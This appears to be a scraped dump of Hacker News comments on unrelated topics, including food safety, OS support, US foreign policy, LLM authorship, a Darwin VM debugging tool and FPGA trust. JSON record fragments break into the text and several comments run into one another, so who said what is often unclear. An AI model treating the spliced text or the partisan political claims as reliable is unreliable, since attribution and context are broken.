> The standard is zero because of what the drug does. Chloramphenicol can cause aplastic anemia, a bone-marrow failure that's rare, unpredictable, unrelated to dose, and frequently fatal. The IARC classified it as Group 2A, "probably carcinogenic to humans," in Volume 50 (1990), and the US National Toxicology Program's Report on Carcinogens lists it as reasonably anticipated to be a human carcinogen. It's still used in human medicine for a handful of severe infections where nothing else works. It's not supposed to be anywhere near a cow.

And besides that, to use just one new feature you pretty much have to jump to the very latest SDK, and from there, supporting even one version back means forking your codebase and backporting, so it doesn't take long for 90% of software to abandon old versions.
I know that in some ways Apple is better than their hardware-making peers in terms of supporting current OS on hardware made a few years back. But compared to other software vendors, say, Microsoft, they are terrible.
Golden Gate runs on 2020 and newer macs.
Windows 11 runs on 2017 8th-gen Intel CPUs and better.
Windows 10 is supported even on PCs from 2006 with 4GB of RAM - and importantly, a ton of modern software (e.g. Chrome) is still compatible with Windows 10.
The comparison may be relevant since it seems Apple is incentivized primarily to move hardware, whereas Microsoft seems like they want to promote Windows as a stable, non-fragmented platform you can trust, both as a consumer and as a developer.

Do I need to remind you you _nuked_ a soon to be surrendering country for the lulz?

Lmao you've literally went in there because of your blind anti-communist behaviour after coup-ing your own "allies" of South Vietnam
>Korean War
True, not your fault, you just bombed an entire country into non existence.
>Iraq attack Iran
Lmao you gave Iraq billions of dollars in hardware through back channels to go around your own inclusion of Iraq as a backer of terrorism and encouraged Saddam Hussein to invade Iran
>Iran
You installed your own dictator and supported him in a coup because the prime minister of Iran wanted to have control over their own reserves. The fact that there's been an islamic revolution is direct blowback caused by your involvement.
>We have promoted peace in Europe through NATO
Peace in Europe exists because of the European union and because we've finally accepted to stop shooting at eachother. It was also the American government that pushed back against UN intervention during the Srebrenica genocide.
> We're trying to achieve a similar Europe-like stability in the Middle East
By spending hundreds of billions on a country that, since its inception, has continuously been at war, an aggressor, colonizing, genocidal theocracy? Working out GREAT.
>What country is it that you're defending
Watch out, your paranoia is seeping through. The US is a net negative to world peace is the only thing that was said.
>Oh no, it couldn't be Iraq. Maybe it's Iran! Do you want to go down the list of the kind of country Iran is? How about Afghanistan? North Korea?
While none of those countries are angels, and a lot of them are also victims of political power plays outside of their own control (hint: it involves the US being so violently anti-communist that it would rather raze a country to the ground rather than see its hegemony ever so slightly threatened), I would like you to remind you that none of these ever nuked a country twice. It's really hard to catch up to the US on the scale of atrocities committed.
I could also remind you of the dozens of dictatorships you've funded and supported in South America, the weapons selling to Iran, the ongoing involvement in the drug trade or the illegitimate embargoes.

A more appropriate analogy for what you just described might be writing vs ghost writing.
But it's certainly not handwriting vs typewriter.
Note: there's no implied value judgement here.
My point is that the analogy that LLMs are equivalent to typewriters is fundamentally broken. Using an LLM to create text, and writing using writing tools, are simply completely different activities that just happen to lead to (at least superficially) the same outcomes.
Similarly, downloading a vase and 3D printing it isn't the same as making pottery. Programming a knitting machine to make socks for you isn't knitting. Putting text on paper using a printer isn't calligraphy.
And I'd argue we're going to collectively conclude that assembling software systems using AI isn't coding.
Again: no value judgement. But life isn't always just about outcomes. Process does, in fact, matter, and I think it's important we maintain these distinctions.

Most text editors don't display anything useful with these characters (either hiding them altogether or showing a useless "uknown" placeholder), and spreadhseet tools don't support the record separator (although they all let you provide a custom entry separator so the "unit" separator can work). Besides the obvious problem that there's no easy way to type the darned things when somebody hand-edits the file.

There should always be some contention between manager and developer. It's healthy. But I think many developers just remain silent and are afraid to speak up. They are afraid of losing their jobs, or worse, getting kicked out of the country. It's reasonable, but it is one of many factors that contribute to the negative feedback loop of myopic management.
We've all seen developers who game the system. They hide the bugs just enough so checked out management doesn't see them. They convince themselves that those bugs don't matter, even when they trip over them later. They get rewarded because they appear to move fast, eventually become management, and the whole thing gets worse as time goes on.
It's a structural problem. Yes, the level of influence is higher the higher up in the org chart you go, but there is still "power" at every level. Even the most junior developer has power. The worst thing we can do is become apathetic, shrugging it off, saying "well what can we do?" That attitude is one of many factors that got us to this point. Importantly, it is a factor we actually can influence.
That's why I object to it. Not because I think it is going to solve the problem overnight, but because it is a thing we have some power over. And it is a very different situation when one engineer in a team is vocalizing "our software has issues" while most of the team silently agrees vs several members of the team simply vocalizing agreement. There's no magic single variable fix to problems like these, but we got here because a bunch of little problems added up.

I think the biggest thing, before I rant and this post needs a tl;dr is live service games are never done. They're only "done" when they inevitably shut down. All of the reasons you list for a game not being done(especially for single player games/games that have long since been put into maintenance mode at this point) just seems wrong. If you don't consider a game "done" because of a missing roadmap feature for horse armor or because a dev on twitter said they'd be updating their old game with upscaled HD/UHD textures or cutscenes or whatever then we have very different ideas on when a game is considered done/feature-complete.
Alright that was just the intro, rant below:
> We evaluate games based on developer communications — announcements, patch notes, DLC listings, and official roadmaps — to determine whether all planned content has shipped.
But just looking through the first few pages really has me curious as to the formula your AI cooked up because the reasoning is either vague or doesn't make sense(at least to me) why the game isn't considered complete.
Some examples:
Grand Theft Auto V Legacy (not complete, reason: Removed from storefront) what? So until it comes back to steam's storefront(which is very unlikely at least for the near future) gta5 legacy is considered "incomplete"?
Elden Ring(the base game) isn't done because DLC - "The Tarnished Pack" which consists of cosmetics for your horse, a couple new weapons and armor sets and "new classes", which because its a FromSoft game just means, slightly different starting stats and a unique starting armor set. All of which are essentially just goodies from the Nintendo Switch release coming to other platforms now.

As an experiment I provided ZERO technical guidance, I let it pick architecture, programming language, GPU interface, rendering interface, all of it. I only provided feedback from the perspective of a user and only things visible to a user. I.e. "Adjusting the curves spline is too slow. Make it instantaneous", I did not ask it to downsample the preview or move the operation the the GPU.
As a result I have a fully functional, super fast, stable, Linux based 2D image editor, written in Rust and D, GPU accelerated (Vulcan). Startup time is 0.458 sec. Every operation is instantaneous on a sub $1000 laptop with RTX4060.
I needed all the features that I use personally and I did not care about features I don't use or that I don't know about, so everything I needed was:
- typical format support: png, jpeg, bmp, tiff, targa\n- layer management (new, delete, lock, merge, duplicate);\n- layer blending (opacity, fill, and the whole panel of blending types - darken, difference, screen, etc);\n- filters with preview render for live adjustments;\n- drawing and selection tools complete with properties for each;\n- history (undo/redo);\n- complete UI - fully stylized window, window setup presets and flexible panel allocation;\n- right click, alt click, shift click support for tools, matching key bindings;\n- open and save a range of formats;\n- text insertion (vectorized) and ability to rasterize the text;\n- vector objects and ability to rasterize them;\n- testing framework that can simulate mouse clicks, drawing and UI interactions;\n- complete regression testing suite
I dont know Rust, I dont know D, I dont know how to use Vulcan. I know image processing and software engineering but it didnt matter at all. I only provided typical user feedback - i.e. "I cant see layer controls in the UI" or "curves adjustment is lagging when I move the spline, must be instantaneous". Developing this software required no skill, insight or know-how.
I added a few further improvements that I noticed missing so the latest version has more features with a total agentic time at 10 hours and my own time at 3 hours.
I am now using it as a replacement for Photoshop that costs $275/year in a predatory subscription where you cant cancel without a $200 penalty.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485025"} {"by": "aseipp", "comments": 0, "created_at_utc": "2026-08-28T22:30:08Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485026", "item_id": 49485026, "kids": [49485284], "parent": 49483693, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "

For me personally it goes I like TUI/CMD for things I use as a daily driver, I know what I want to accomplish I know exactly what movements to do and clicking GUI items is just too slow.
Then there are GUI things that I don't use that often I need some kind of map, I don't to "read the fucking manual" every 3 months when I use it and I barely remember, but if I see it in GUI my memory will kick in. It also works for most new things better than TUI/CMD because for a new tool I don't want to invest my focus, I just want to find out how to be done with my things or just learn what it is, reading manual is not fastest way, fastest way is clicking around.
Nowadays we have 3rd mode namely "chat interface" I can just chat with whatever bot is integrated in the app or just chat with the bot to use the application for me. Command line utilities work like charm in that mode I can accomplish a lot by asking vague stuff to a bot that will make stuff for me in a ways I don't even have to know how or what.
But I do believe final form of interface is not "chat interface" alone.

There's nothing nefarious about EDIDs. EDIDs are just a way of the monitor to announce its capabilities to the device so that the device and the display can agree on things like resolution, refresh rate, etc. EDIDs are just blobs of data without capability to execute logic, as far as I'm aware.
It sounds like the author is claiming that Windows does some sort of driver update in response to EDID announcements, but OP doesn't explain it at all. If that's true, that would entirely be on the Windows end not on the EDID's end. It sounds like Windows is recognizing LG as the manufacturer declared in the EDID and then downloading a driver for LG. I don't think there's any way for the EDID to declare to the OS that it wants to perform a driver update.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485110"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T22:40:46Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49485111", "item_id": 49485111, "kids": [], "parent": 49484981, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485111"} {"by": "mrguyorama", "comments": 0, "created_at_utc": "2026-08-28T22:40:48Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485112", "item_id": 49485112, "kids": [], "parent": 49484568, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "No this makes no sense. Like, I can see where you were thinking, but it's just wrong with the USDA because of how different problems at different points are handled.
When an inspector in a plant notices a problem, like an employee not following hygiene rules, that doesn't trigger a recall, because that's not enough evidence of unsafe product. They usually issue a "Noncompliance Record", which the plant is required to resolve.
Inspections aren't usually the trigger for a recall! If an inspection surfaces evidence of an active health hazard, like some biological test comes back with a pathogen, that could trigger a recall.
Here, the facility was flagrantly violating the law in it's entirety. Unless they were somehow doing this on accident, they have been operating fraudulently. This recall is because this product was not inspected at all, and so via the precautionary principle, and also as a somewhat punitive action, the product has to be recalled.
More frequent inspections could only have caught this earlier. More frequent inspections will cause more problems to be Noncompliance that gets fixed rather than a problem persisting until it makes someone sick and that actually triggers a recall.
Inspections prevent recalls. Few inspections allow problems to escalate to recalls.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485112"} {"by": "kmeisthax", "comments": 0, "created_at_utc": "2026-08-28T22:40:50Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485113", "item_id": 49485113, "kids": [], "parent": 49483218, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "As I hinted at before, "left" and "right" aren't very well defined and it's easy to confuse one for the other, especially when cultural or national barriers are in the way.

As for left-wingers becoming right-wingers, yes that can and does happen.
For example, at the time the terms left-wing and right-wing were coined, liberal capitalism was understood to be a radical left-wing attack on the traditional feudal hierarchy of kings and priests that had ruled France in the past. A hundred years later and those same capitalists who had built their business empires on the back of liberal and left-wing revolution were either cozying up to the kings they'd once scared, or establishing new kings to replace the ones that got destroyed.
But merely running for office again does not inherently make you right-wing. Nor does engaging in a coup or other forms of power maintenance make you inherently right-wing.

> But, isn’t it our job to impress upon the managers the importance, in a certain regard?\nOur job is to engineer. Our job is to build (good) products. Information can't just flow top down, it has to go the other way too.
What seems weird to me is that during "the good times" in our field, that happened more frequently. A strong employee market (as opposed to an /employeer/ market) seemed to be good for employee, employeer, and the people buying everything. But myopia is quick to set in.
> Alternatively, what about just doing the right thing?\nIf you haven't heard it before, allow me to introduce you to Pournelle's Iron Law of Bureaucracy[0]. I think one of the important things it states is that the second group is actually bad for business. I think there's a common misconception. People are often saying "well it is good for business", pointing to all kinds of messed up shit. I don't buy that. It is myopically good for business, but not in any meaningful length of time. Though then again, as Buffet says "The market can stay irrational longer than you can stay solvent." Michael Burry famous learned this first hand.

In any bureaucratic organization there will be two kinds of people:\n - First, there will be those who are devoted to the goals of the organization. Examples are dedicated classroom teachers in an educational bureaucracy, many of the engineers and launch technicians and scientists at NASA, even some agricultural scientists and advisors in the former Soviet Union collective farming administration.\n - Secondly, there will be those dedicated to the organization itself. Examples are many of the administrators in the education system, many professors of education, many teachers union officials, much of the NASA headquarters staff, etc.\n The Iron Law states that in every case the second group will gain and keep control of the organization. It will write the rules, and control promotions within the organization.(It still protects against a password leak, though, so doesn't entirely defeat the purpose of MFA.)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485213"} {"by": "jonbrauninddott", "comments": 0, "created_at_utc": "2026-08-28T22:55:01Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485214", "item_id": 49485214, "kids": [], "parent": 49479837, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "https://vimium.github.io/

That all is just a discombobulation that distracts from the main issue and the issue is the accessibility of plain text.
Majority of computer professionals (programmers included) come to appreciate a single fundamental truth about their field way too late into their careers. That the most basic foundational unit, the substrate they need to conquer is text. Everything stems from it. We have to deal with text our entire lives. It doesn't matter where that text appears - in web browsers, in Jira, in Slack, in terminal, in PDFs, Word or LaTeX documents. Code by the way is just structured text. The feeling of empowerment and liberation when you can deal with text on your own terms is a disproportionate multiplier. That's why using multiple cursors feature for the first time feels so amazing, even though the practical cases for it are not that common.
And when I say "text", I don't only describe the process of "grabbing some text" and "piping it" into another process, or manipulating it. It's not only about the input, the act of consuming text is equally, if not more important.
We argue that keyboard-driven UIs are more efficient for the input, but hundreds of memorized shortcuts can't really fix the fundamental problem.
Vendors are designed to own you and ownership can take different forms. Slack app that doesn't let you easily extract code snippets from a thread - owns you. Jira that forces you to use their stupid, quirky wysiwyg editor - owns you. Note-taking app that keeps the data on the cloud ain't your friend. The friction is the ownership. When extraction of text requires effort, the tool has leverage over you. It's a subtler form than data lock-in, it is behavioral lock-in. You adapt your workflow to what the tool makes easy, and gradually the tool's affordances shape what you even think to do. Information gets buried in threads, search is mediocre, export is hostile. The "solution" they offer is to stay there longer - search in Slack, link to Slack, screenshare in Slack, summarize with AI in Slack, don't ever leave Slack. The tool becomes the answer to the problems the tool creates.
And when you get to that point, you'd feel helpless - all your knowledge and muscle memory can't help you there - not only the app is not favoring power-user experience, it's forcing everyone downgrade to the "average Joe" levels.
Most popular editors and IDEs don't give you direct leverage over plain text either, at least not without the effort from your side. Shortcuts, popups, UI elements in the IDE at best are local drivers - you can't easily grab a thing from the outside and feed it to your LLM context in the middle of a task, or insert within a comment in the code - you have to switch, copy, paste, deal with format inconsistencies, manual conversion, etc. Then we keep bargaining what method is the best, fastest and most convenient - using the mouse or keeping the fingers on the home row, modality or complex shortcuts. All for the sake of the problem that's artificially enforced on our workflows.
Terminal-heavy users eventually start appreciating the leverage Unix philosophy grants them over text, but that's still contained within locality, they still have to constantly jump around, while eventually figuring out ways for automating some aspects of it.
Point is - do not give in to the status quo. Liberate your text - deal with it on your terms. Get annoyed whenever you need to switch back and forth just for the sake of finding the piece you need and moving it around - it should be instantaneous and instinctual. Like a boxer moving in a ring and casually throwing heavy punches. Long-time Vim and Emacs users "get it", even though they often don't follow through - some things just never become gratifying instincts. Sometimes, even the opposite forms - like redundant muscle memories. Some outright would reject using a new app because it messes with one shortcut they keep accidentally pressing. Sometimes, I wish there was an agreed standard for every UI - to have only the core, commonly used keys pre-set, while making everything else configurable.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485239"} {"by": "stillpointlab", "comments": 0, "created_at_utc": "2026-08-28T22:58:28Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485240", "item_id": 49485240, "kids": [], "parent": 49485128, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The state of affairs in the last 6 months bears almost no resemblance to the state of affairs in the last decade.

The idea is to create a lightweight barebones environment for playing around with / debugging XNU and low-level Darwin internals, kind of like a tiny busybox Linux system except running Darwin, and using an emulated Apple Silicon CPU (custom instructions/ privilege levels and all).
With darwin-vm, you can directly boot the system using just an iOS/ macOS kernel and minimal ramdisk; no gigantic 40GB macOS VM disk images or downloading 10GB+ IPSW files like you need to for regular macOS VMs. It also works for iOS! And of course, since this is a VM you can use a debugger to debug anything in the system: SPTM, TXM, XNU, all kexts, launchd, dyld, and all user programs can be modified/ patched/ debugged. You can also run your own custom programs inside the VM as root.
Getting this to work required reverse engineering the SPTM boot protocol and implementing it in qemu, eg. how SPTM expects the trusted execution monitor, boot kernelcache, ramdisk, trustcache, device tree, boot args, etc. to be laid out in physmem. I also had to add support for Apple's GXF instructions and guarded exception levels, which are parallel privilege levels that live next to your classical EL2 and EL0, and are used by SPTM and TXM respectively. Not to mention all of the random undocumented system registers and device tree manipulation the system expects the bootloader to take care of, as well as getting MTE to work for the latest hardware.
The darwin-vm repository contains scripts that automate downloading just the files you need from an iOS or macOS update file, installing a root shell daemon into the ramdisk, and signing a trustcache for you so you don't have to deal with/ care about any of that. The hope is it's as "plug and play" as possible: you give me an iOS/ macOS update file, I give you a root shell inside a VM running that OS.
I've tested this booting the very latest iOS and macOS betas on virtual iPhone 17, 16, 15, 14, 13, and 12, as well as M1-M5 virtual Mac Minis and Macbook Airs. Since it's all Qemu TCG, you can run this anywhere Qemu runs; no need for an ARM host. You do need a Mac to set up the VM files though since the setup scripts mess around with APFS images and code signing.
I also included instructions in the readme for how to customize the kernel/ swap in a development kernel from a Kernel Debug Kit and get symbolic kernel debugging working in the VM via lldb, as well as how to compile and run your own programs in your iOS or macOS VM.

This isn't necessarily true though. Issues found by inspection only occasionally lead to recalls. Most of the time, it's minor corrective action (called a noncompliance record) like "An employee wasn't following sanitation rule X, show us that you are properly training your employees to follow sanitation rule X".
This recall is not driven by a food safety concern! It's mildly punitive, and is done to encourage trust. Just like that time costco had to throw away a truck full of butter over a labeling issue, the American food system works very hard to ensure that certain labels on food mean something, so that consumers can make informed decisions in the supermarket and therefore have a semi-functional free market experience.
Recalls happen from positive evidence of a pathogen, from reported illness, or from noncompliant product. If you have no inspections, then companies may normalization of deviance their way to less safe products, which can cause more illness, which would cause more recalls.
Fewer inspections could only lead to fewer recalls if the majority of recalls are labeling issues or otherwise never would have caused illness.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485266"} {"by": "hentrep", "comments": 12, "created_at_utc": "2026-08-28T23:02:21Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485267", "item_id": 49485267, "kids": [49485946, 49485830, 49485657, 49485535, 49485519, 49485802, 49485498], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 44, "text": null, "title": "Boot a Virtual iPhone via Apple's Virtualization.framework", "type": "story", "url": "https://github.com/Lakr233/vphone-cli"} {"by": "josht", "comments": 0, "created_at_utc": "2026-08-28T23:02:43Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485268", "item_id": 49485268, "kids": [], "parent": 49479837, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I use Vimium [0] for this very reason -- highly recommend it!

That's the point.
The point is that memory allocation shouldn't be a bottleneck either way. If it is the program needs to be optimized or redesigned. Better allocators give you more slack, they don't solve the problem. If the problem is already solved, then a basic allocator isn't going to make a big performance difference because it isn't the bottleneck.
those bad data structures would also cause "damage to speed and interactivity" or whatever. This isn't very hard to understand.
It depends on how much they are used and how much contention there is. Sometimes putting a mutex around things is fine.
But these are extremely common specified functions, they are called everywhere all the time
Not necessarily, especially for C string functions, but they do get linked in so it's a good thing musl makes them small.
I said "backbone", not "bottleneck".
Then the point is lost, because 'backbone' doesn't mean anything if it works. If it isn't a bottleneck in throughput or latency anywhere then the speed doesn't matter.
The other important thing is that better stuff can be included in pieces as it's needed. The reverse isn't true. If you use a big fat C library, you have a dependency that isn't going to get better.
Not really. I have to spell it out apparently: actual programs written by normal human programmers do those things, all the time,
You spelled it out last time, it's just not true in the sense that programs have to have these functions as bottlenecks. Strings, allocators and memory copying can all be dealt with independently, but again it's rare that strings and allocations really need to be the bottleneck and in those circumstances you probably want more than a different standard library anyway.
in the imaginary fantasy land people have in their heads where they make up arguments to themselves about how, if every program was written how they liked it,
I'm not sure what this is supposed to mean, there is nothing I've said that doesn't make perfect sense. If you want something to go faster you can make it go faster. A better allocator pales in comparison to lifting allocations out of hot loops.
My point is the musl is useful and the disadvantages are easy to work around.

At the time, the motivation was, "Between a DRAM chip and a microprocessor mounted on a circuit board, we can only get a few hundred megabytes per second of bandwidth. However, inside the memory chip itself, there's hundreds of gigabytes (terabits) of bandwidth available, so why not move some of the logic there?". And then the author pushed it to the extreme where there was a wide array of 1-bit processors at each column of DRAM. (Note: the reason why true PIM isn't viable is because of the radically different semiconductor process used for DRAM vs. high-speed digital logic, i.e.: your digital logic circuits will perform poorly on a "DRAM process").
The designers of HBM5 had the same observations and thought, "why don't we put a logic chip at the bottom of the stack of HBM DRAM chips and get extremely high memory bandwidth?" But, in looking at this, you'll also quickly realize this is almost exactly what Intel and Micron pitched 15 years ago as Hybrid Memory Cube** (which lost on the market compared to the simpler, less costly, and more flexible alternative, HBM)

No my friend, Democracy is majority rule, which easily turns into a ruling mob. It has nothing whatsoever to do with dialog.
Also, your quote of Lincoln's address is taken completely out of context. He was talking about his opposition of the ideas of a faction of Democrats who were in favor of slavery and his support of the majority of Republicans who believed slavery was a moral, social, and political evil.
In other words, take the time to at least do some research before you try to use quotes in support of a failed conclusion.
Did you read the Greeks in school? Probably not. I recommend Plato's Republic. Both he and Socrates talked about the flaws of direct/pure democracy that would usually make it degenerate into mob rule.
In Republic Plato developed a hierarchy:

Aristocracy: Rule by the wise (my comment: a fantasy)\n Timocracy: Rule by the honorable (my comment: another fantasy)\n Oligarchy: Rule by the rich (my comment: a reality in many societies)\n Democracy: Rule by the masses (my comment: glad we don't have this)\n Tyranny: Rule by a despot (my comment: plenty of examples of this in history)\nSo, "democratizing" means letting the masses have their way. It does not mean making things accessible to everyone, which is the hilariously or tragically ignorant way in which Silicon Valley tries to use the term. You see startups all the time say "we are democratizing <X>". Just how stupid are these people? They are saying we are going to let the mob have access and benefit from <X> not making it available to everyone.
In the context of Plato’s political philosophy the modern, casual use of the word "democratizing" completely ignores the historical and philosophical baggage of the root word democracy.
The irony is that modern society uses "democratize" as an undisputed positive term (meaning liberation and fairness), while the very philosophers who birthed western political thought used "democracy" as a warning label for instability and lawlessness.
A better term for what startups want to say would be "commoditizing": turning a specialized, elite resource into a public good or a widely available commodity; not "democratizing", which is an ignorant use of a term that means almost exactly the opposite.

This is such a "poor carpenter blaming his tools" take.
RoR isn't holding you back from writing performant, high-quality code. However, letting inexperienced developers run wild without supervision does end up with a codebase committing most of the deadly sins of software: (1) proliferation of competing patterns (2) proliferation of competing third-party libraries, leading to more #1, (3) inadequate test suite, and (4) an app that serves up so many 500 errors that you can't tell which are new and/or which indicate a problem. #4 is definitely more common in untyped languages, since that whole class of bugs can't be caught at compile time.
By the time a lot of these "startups" get to the mature state they have like a 7-year-old codebase that is beyond help. But you can use Ruby and Rails responsibly. I've seen it done. Usually all that's needed is to apply yourself to understanding how to cache, and then, identifying the key expensive high-traffic endpoints and converting them from ActiveRecord N+1 messes into single-query eager-loaded beasts, sometimes skipping ActiveRecord's object instantiation.

(There is, obviously. Also, I remark once again that "making incest illegal" is not an accurate characterization.)

I absolutely did not; I acknowledged that first-cousin marriage is a bad idea and that it would be better if people didn't do it and that it increases the frequency of genetic problems in resulting children. Saying "doing X has costs" is not remotely the same thing as saying "not doing X has no costs". It's a tradeoff, like everything else in life.

If the end goal is navigating and controlling the app via keyboard shortcuts, so why not bake that into the design of the GUI itself?

> To sum up, since the early 1970s, the cost of constructing nuclear power plants in the U.S. has been steadily rising. This can be traced to a constantly shifting regulatory environment, which has continuously changed plant design requirements, and added more and more safety features, which often were required to be implemented on plants under construction. The regulatory environment is partially a reflection of the fact that nuclear power and the risks of radiation had become increasingly controversial, and that early understanding of the likelihood of a nuclear plant accident was often inadequate.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485344"} {"by": "ggm", "comments": 0, "created_at_utc": "2026-08-28T23:14:11Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485345", "item_id": 49485345, "kids": [], "parent": 49477813, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "the article gets my up vote for at least admitting some bird scientists think a lot of this may be projection (one I am also fond of making) and that crows are a lot less into us than we might think.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485345"} {"by": "soniczentropy", "comments": 0, "created_at_utc": "2026-08-28T23:14:20Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485346", "item_id": 49485346, "kids": [], "parent": 49484937, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "They absolutely understood exactly what they were doing.

In theory the FPGA could still try to recognize and backdoor a bitstream right when you load it, but practically there's a whole bunch of different open-source cores that you could load on the FPGA, and it would be very hard to try to recognize and backdoor all those potential designs at the netlist level, or at least it would take a suspiciously large area, potentially visible as clearly more complicated than what should be needed on a microscope.
You could maybe distribute these verified boards that are just the FPGA and the verified CPU core + kernel + software seeds all stored on a basic NAND flash. But then instead of writing a lisp interpreter in machine code as your seed.. the seed would have to be an entire basic CPU that runs something like hex0, or like a basic lisp machine. You'd plug a keyboard into it and bootstrap the rest from there. But good luck with that, I'm not volunteering to try to make all of that work!
Plus there's still a small chance of a hardware backdoor somehow powerful enough to recognize any possible core you can load on it, or that the tools you use to even load a NAND flash or the NAND flash itself could be backdoored, so really we're just displacing the problem a bit further every time. But if you want to bootstrap everything from nothing, then you basically have to jumpstart all of computing electronics back up from nothing.

Anti-communism was and still is highly important and critical. Comintern was aiming to conquer the Earth with global communism. It was an open objective and part of what caused World War 2. The Soviet Union has caused more death on this planet as a result of its communist expansion threat than any other country in history. So yes, we are anti-communist. And you should be too.
> Do I need to remind you you _nuked_ a soon to be surrendering country for the lulz?
It was largely symbolic and demonstrative. Nukes aren't as deadly as other weapons we were already using. There wasn't any guarantee Japan was going to surrender and you have the benefit of being in the future, which they did not. You should also try understanding what Japan was doing to other countries. It was horrific in every sense. They had to be stopped by any means. You could argue part of the strategy of using the nukes to end the war early was to pre-empt the Russians gaining ground in Japan and getting stuck with a second communist split like in Germany. That concern was certainly validated by Russia's push for Korea decades later. Korea would have been fine without Russia trying to gain communist control there.
> Lmao you gave Iraq billions of dollars in hardware through back channels to go around your own inclusion of Iraq as a backer of terrorism and encouraged Saddam Hussein to invade Iran
Countries do all kinds of things to achieve their strategic aims, the US isn't remotely unique in that regard. Still, we didn't encourage him to invade Iran and we only supported him when he started losing to prevent Iran expanding into Iraq.
> You installed your own dictator and supported him in a coup because the prime minister of Iran wanted to have control over their own reserves. The fact that there's been an islamic revolution is direct blowback caused by your involvement.
It was more complicated than that. Britain was taking advantage of Iran and Russia was trying to establish communism in Iran. The new leader was essentially getting rid of elected members of government and becoming a dictator. It wasn't a good situation to start with and the US didn't want Russia to establish communism there. Even decades later when the revolutionaries took over, the communists helped them overthrow the government and then the revolutionaries executed the communists. If everyone had left Iran alone, we probably wouldn't have gotten involved.
> Peace in Europe exists because of the European union and because we've finally accepted to stop shooting at eachother. It was also the American government that pushed back against UN intervention during the Srebrenica genocide.
Peace in Europe does not exist because of the EU. The US formed NATO with the European countries. That established a mutual defense agreement so if anyone attacked anyone else, everyone would join in and defend.
> I would like you to remind you that none of these ever nuked a country twice.
I don't know why you're so caught up on nukes. Far more people died from other weapons than nukes and the US has done more to prevent the proliferation of nukes than any other country. Nuking Japan also wasn't a single country decision. Multiple countries had to agree to it, because of what Japan was doing. Nobody is going to use nukes today unless they want to end their country.
> I could also remind you of the dozens of dictatorships you've funded and supported in South America, the weapons selling to Iran, the ongoing involvement in the drug trade or the illegitimate embargoes.
You can't change the whole world at once and even if we could, we wouldn't want to. That's a communist thing. There are monarchies and dictatorships that are largely tolerable, like Singapore. Usually whenever we help some country, especially a country we don't particularly like, it'll be conditioned on something. I can't know every strategic plan we've ever had or why we had it.
> I don't particularly give a shit about American free speech when the US is, once again, the biggest source of political instability anywhere in the world. But I'm glad you can freely and openly support Nazis because freeze peach, it's made the world a lot better.
The US dollar, defense agreements, preserving international waterway navigation and aggressively pushing back against communism has done far more to improve the stability of countries than any time in history. The USD being almost ubiquitous helps to stabilize it against many kinds of major shocks that no other country can absorb.

To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy.

> The defendants dressed in “black bloc”—dark clothing with head and face coverings that concealed their identities—designed to hide each individual’s identity but also to aid and abet those members engaged in illegal acts by making members indistinguishable from one another to law enforcement. Evidence introduced at trial revealed that the defendants brought eleven firearms, body armor, and eleven military-grade first aid kits with tourniquets and other items to treat gunshot wounds to the scene of the attack. [...] After ANTIFA Cell members arrived at the detention facility, they began shooting off and throwing fireworks (explosives) at the facility and vandalizing vehicles and a guard shack on Prairieland property. [...] Witnesses testified that an Alvarado police officer responded to the scene after correctional officers called 911. When the officer began issuing commands to defendant Nathan Baumann, Benjamin Song can be heard on police bodycam video yelling, “get to the rifles!” and then he opened fire on the officers, striking the Alvarado police officer in the neck as the unarmed correctional officers ducked and ran for cover.

Note you can see in the pictures they were definitely not just setting off fireworks "near" the detention facility, but from the camera stills its obviously intended as harassment. And "some idiot" didn't bring a gun, they were all part of a group, they brought lots of guns, and he actually shot a police officer during their "protest." Note also that the USG explicitly uses the word "fireworks", contrary to your framing.
